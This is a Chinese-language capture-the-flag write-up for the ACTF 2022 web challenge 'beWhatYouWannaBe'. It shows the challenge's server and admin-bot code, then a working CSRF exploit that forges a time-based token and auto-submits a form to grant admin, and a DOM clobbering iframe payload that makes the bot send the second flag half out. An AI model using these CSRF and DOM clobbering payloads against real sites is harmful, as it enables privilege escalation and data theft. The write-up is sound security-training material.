res.send('something error when being admin')
return
}
if (users.length == 0) {
res.send('no one can be admin')
} else {
res.send('wow success wow')
}
}
)
} else {
res.send('validate error')
}
})

app.get('/flag', (req, res) => {
if (!req.session.user) {
res.send(FAKE_FLAG)
return
}
User.findOne({ username: req.session.user }, (err, user) => {
if (err) {
res.send({ err: err })
return
}
if (user.isAdmin) {
// part 1
res.send(FLAG.substring(0, 16))
} else {
res.send(FAKE_FLAG)
}
})
})

app.listen(PORT, LISTEN, () => {
console.log(`listening ${LISTEN}:${PORT}...`)
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const puppeteer = require('puppeteer');
const process = require('process')
const ADMIN_USERNAME = 'admin'
const ADMIN_PASSWORD = process.env.password
const FLAG = require('./config').FLAG
const view = async(url) => {
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
})
const page = await browser.newPage()
// page.on('console', msg => console.log(msg.text()))
await page.goto('http://localhost:8000/login')
await page.type("#username", ADMIN_USERNAME)
await page.type("#password", ADMIN_PASSWORD)
await page.click('#btn-login')
// get flag1
await page.goto(url, { timeout: 5000 })
// get flag2
await page.setJavaScriptEnabled(false)
await page.goto(url, { timeout: 5000 })
const data = await page.evaluate((url, FLAG) => {
if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {
return fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16))));
} else {
return fetch(url + '?there_is_no_flag')
}
}, url, FLAG)
await browser.close()
}
exports.view = view
1
2
3
4
const FLAG = "ACTF{*****************************}"
const FAKE_FLAG = "only_admin_users_can_see_the_true_flag"
exports.FLAG = FLAG
exports.FAKE_FLAG = FAKE_FLAG

其实这一题不难,思路很清晰,前半段flag在/flag路由,首先你得是管理员,并且题目为我们提供了一个/beAdmin成为管理员的接口和一个可以进行CSRF的/admin接口,因此思路是利用CSRF先成为admin获取前半段flag
至于后半段flag,假如admin跳转过后的页面通过dom获取的fff.lll.aaa.ggg.value == "this_is_what_i_want"那么就可以获取后半段flag
因此先解决前半段的问题,想要进行csrf还有一个问题就是token,仔细看这个token:
image.png
他是利用当前的date生成的,因此完全是可以自己伪造的,首先起一个恶意的express服务器,用于进行CSRF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express');
const app= express();
const http = require('http');
const crypto = require('crypto')
app.set('view engine', 'ejs')
app.get('/', (req, res)=>{
var sha256 = crypto.createHash('sha256');
var time = Date.now()-2;
var time2 = Math.floor(time / 1000)-1;
var time3 = Math.sin(time2).toString()
var token = sha256.update(time3).digest('hex');
console.log(`time:${time}`);
console.log(`time2:${time2}`);
console.log(`time3:${time3}`);
console.log(`token:${token}`);
console.log("-------------");
console.log(token);
res.render('test', { name: token })
});
app.listen(8083, ()=>{
console.log('Server is running at http://localhost:8083')
})
//1678261827129
//1678261827131
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<script>
window.onload=function(){
document.getElementById("postsubmit").click();
}
</script>
<body>
<form method="post" action="http://localhost:8000/beAdmin">
<input id="u" type="text" name="csrftoken" value="<%=name%>">
<input id="m" type="text" name="username" value="kino">
<input id="postsubmit" type="submit" name="" value="">
</form>
</body>
</html>

image.png
获得第一个flag,这里获得第一个flag的时候需要注意那个token生成的时间差,需要自己debug,这一点巨恶心
然后第二个flag直接利用dom破坏:
https://zhuanlan.zhihu.com/p/131314826

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<iframe name=fff srcdoc="
<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>
<style>@import '//portswigger.net';</style>
</body>
</html>

在自己vps上放这个文件,然后让admin访问就好了:
image.png

参考:
https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html
https://github.com/l3s10n/My-CTF-Challenges-In-ACTF2022/blob/main/writeup/ToLeSion_zh.md
https://blog.rois.io/2022/actf2022-writeup/
https://zhuanlan.zhihu.com/p/131314826
http://www.yongsheng.site/2022/06/30/AAActf/
https://igml.top/2022/02/20/TQLCTF2022/
https://ek1ng.com/ACTF2022.html#beWhatYouWannaBe

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#ACTF